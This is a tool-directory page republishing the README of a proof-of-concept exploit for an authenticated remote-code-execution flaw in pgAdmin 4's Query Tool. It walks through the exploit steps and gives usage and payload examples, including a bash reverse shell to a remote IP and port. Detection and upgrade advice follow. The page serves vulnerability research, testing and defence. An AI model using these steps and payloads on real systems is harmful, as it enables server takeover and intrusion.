Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/plur1bu5/cve-2025-2945-pgadmin-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubplur1bu5/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgadmin-rce

Authenticated RCE in pgAdmin 4 (8.10–9.1) via eval() injection in the Query Tool. This is an updated PoC with compatibility fixes for pgAdmin 9.x auth changes

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-2945 — pgAdmin 4 Query Tool Authenticated RCE

Proof of concept for CVE-2025-2945, a critical remote code execution vulnerability in pgAdmin 4.

Affected versions: 8.10 through 9.1
Fixed in: 9.2 (released April 4, 2025)
CVSS v3.1: 9.9 (Critical)


Overview

The pgAdmin 4 Query Tool exposes an endpoint that accepts a query_commited parameter and passes it directly to Python's built-in eval() without any sanitization. An authenticated attacker can submit arbitrary Python code through this parameter and have it executed server-side under the pgAdmin service account.

The vulnerable endpoint is:

root@kitploit:~
POST /sqleditor/query_tool/download/<trans_id>

The query_commited field in the JSON body is evaluated as Python code on the server.


Technical Analysis

Root Cause

In pgAdmin 4 versions prior to 9.2, the query tool download handler calls eval() on user-supplied input:

root@kitploit:~
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))

No input validation, sandboxing, or allowlisting is applied. Any valid Python expression executes with the privileges of the pgAdmin process.

Exploit Flow

  1. Authenticate — POST credentials to /authenticate/login, obtain a session cookie and CSRF token
  2. Initialize sqleditor — POST to /sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> with database credentials to establish a query tool session
  3. Discover server ID — GET /sqleditor/get_server_connection/<sgid>/<sid> iterating over IDs until one returns data.status == true
  4. Trigger eval — POST to /sqleditor/query_tool/download/<trans_id> with {"query_commited": "<python payload>"}, receive a 500 response confirming execution

CSRF Token Handling (pgAdmin 9.x)

Older pgAdmin versions embedded the CSRF token in a hidden <input> field or a cookie. Version 9.x moved to a React SPA architecture where the token is embedded as JSON inside a window.renderSecurityPage() call on the /login page:

root@kitploit:~
"csrfToken": "<token value>"

The token is session-scoped (Flask-WTF / itsdangerous), so the token obtained from the initial GET /login remains valid for the entire session and can be reused for all subsequent API calls.

Login Endpoint Change

pgAdmin 9.x split the login route:

  • GET /login — renders the login page (contains the CSRF token)
  • POST /authenticate/login — processes credentials

Older PoCs that POST directly to /login will receive a 404 or 405 on 9.x instances.


Requirements

  • Python 3.7+
  • Valid pgAdmin credentials (any authenticated user)
  • Valid database credentials for a server registered in pgAdmin
root@kitploit:~
pip install requests faker

Usage

root@kitploit:~
python3 poc.py \
  --rhost <target_host> \
  --username <pgadmin_email> \
  --password <pgadmin_password> \
  --db-user <db_username> \
  --db-pass <db_password> \
  --db-name <database_name> \
  --payload "<python_expression>"

Arguments

ArgumentDescription
--rhostTarget hostname or IP (no scheme)
--rportTarget port (default: 80)
--usernamepgAdmin login email
--passwordpgAdmin login password
--db-userPostgreSQL username
--db-passPostgreSQL password
--db-nameDatabase name
--payloadPython expression to evaluate on the server
--max-server-idMax server IDs to probe (default: 10)

Payload Examples

Command execution:

root@kitploit:~
--payload "__import__('os').system('id')"

Reverse shell:

root@kitploit:~
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"

Detection

  • Unexpected HTTP 500 responses from /sqleditor/query_tool/download/
  • pgAdmin process spawning child processes (shells, curl, wget)
  • Outbound connections from the pgAdmin host to unknown IPs

Mitigation

Upgrade to pgAdmin 4 version 9.2 or later.


References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2945
  • https://www.tenable.com/security/research/tra-2025-2945
  • https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce

Disclaimer

This repository is for educational and authorized testing purposes only. Do not use against systems you do not own or have explicit permission to test.

Download Tool